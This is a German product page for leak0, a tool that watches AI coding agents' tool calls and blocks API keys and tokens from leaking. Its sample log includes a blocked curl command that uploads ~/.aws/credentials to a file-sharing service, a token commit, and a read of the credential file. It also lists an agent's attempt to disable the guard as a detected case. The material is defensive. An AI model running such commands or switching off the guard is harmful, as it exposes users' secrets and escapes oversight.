leak0, eine Funktion des poison0-Agenten, schützt Ihre API-Keys und Tokens davor, über Ihren KI-Agenten abzufließen: in Git, an fremde Server, in das Modell und in falsche Dateien.
API-Keys, Tokens, .env, ~/.aws und SSH-Schlüssel liegen dort, wo Ihr Agent arbeitet. Vier Wege führen nach draußen. leak0 sitzt im Hook des Agenten und stoppt das Secret an jedem davon, direkt auf Ihrem Gerät.
leak0 blockt mit Beweis und nennt ihn in jeder Meldung. Ist ein Fall offen, fragt es nach oder gibt einen Hinweis, und Ihre Arbeit läuft weiter.
# leak0 - live [block] Bash curl -F f=@~/.aws/credentials https://transfer.sh ↳ Beweis: Credential-Datei an einen Ablage-Dienst [allow] Bash git push origin main [ask] Bash git add .env ↳ wahrscheinlich ein Secret: Sie entscheiden [block] Bash git commit -m "token ghp_…" ↳ Beweis: GitHub-Token mit gültiger Prüfsumme [redact] Bash cat ~/.aws/credentials ↳ Wert geschwärzt, bevor das Modell ihn sieht
leak0 prüft die Tool-Aufrufe dieser Agenten direkt auf Ihrem Gerät und stoppt Secrets, bevor sie es verlassen.
Fünf Fälle, jeder mit Beweis: eine bekannte Credential-Datei, ein Token mit gültiger Prüfsumme, ein in der Sitzung schon erkannter Secret-Wert, ein Secret auf dem Weg zu einem nachweislich fremden Ziel und der Versuch des Agenten, leak0 abzuschalten.
Claude Code, Codex, Gemini CLI und Antigravity CLI unter macOS, Linux und Windows, Cursor unter macOS und Linux. Die Docs zeigen, was leak0 je Agent prüft.
Auf Ihrem Gerät, Ihre Inhalte bleiben dort. Das Audit enthält das Tool und die Regelklasse, nie einen Wert oder Pfad.
Ja. Jede Entscheidung von leak0 landet im Audit: lokal und im Cloud-Modus in der Konsole, ohne Inhalte. Beobachtete Treffer bleiben lokal, außer der Admin schaltet im Profil „Auch in der Konsole (Cloud-Audit)“ ein.
Sobald Sie es einschalten. Der Installer fragt nach, mit An vorausgewählt. Für unbeaufsichtigte Installationen setzen Sie PZ_SETUP_LEAK0. Bestehende Geräte und Profile schalten Sie mit sudo poisonzero leak0 enforce oder im Konsolenprofil ein.
Es fragt nach, statt zu blocken, wenn ein Fall offen ist, oder gibt dem Agenten einen Hinweis. Blocks kommen immer mit Beweis, so hält kein Fehlalarm Ihre Entwickler auf.
exec0 stoppt Tool-Aufrufe, die Schaden anrichten. leak0 stoppt Secret-Abfluss. Beide laufen im selben Hook, jedes mit eigener Prüfung.
Die Docs nennen jeden Beweis, jeden Agenten und jede Einstellung.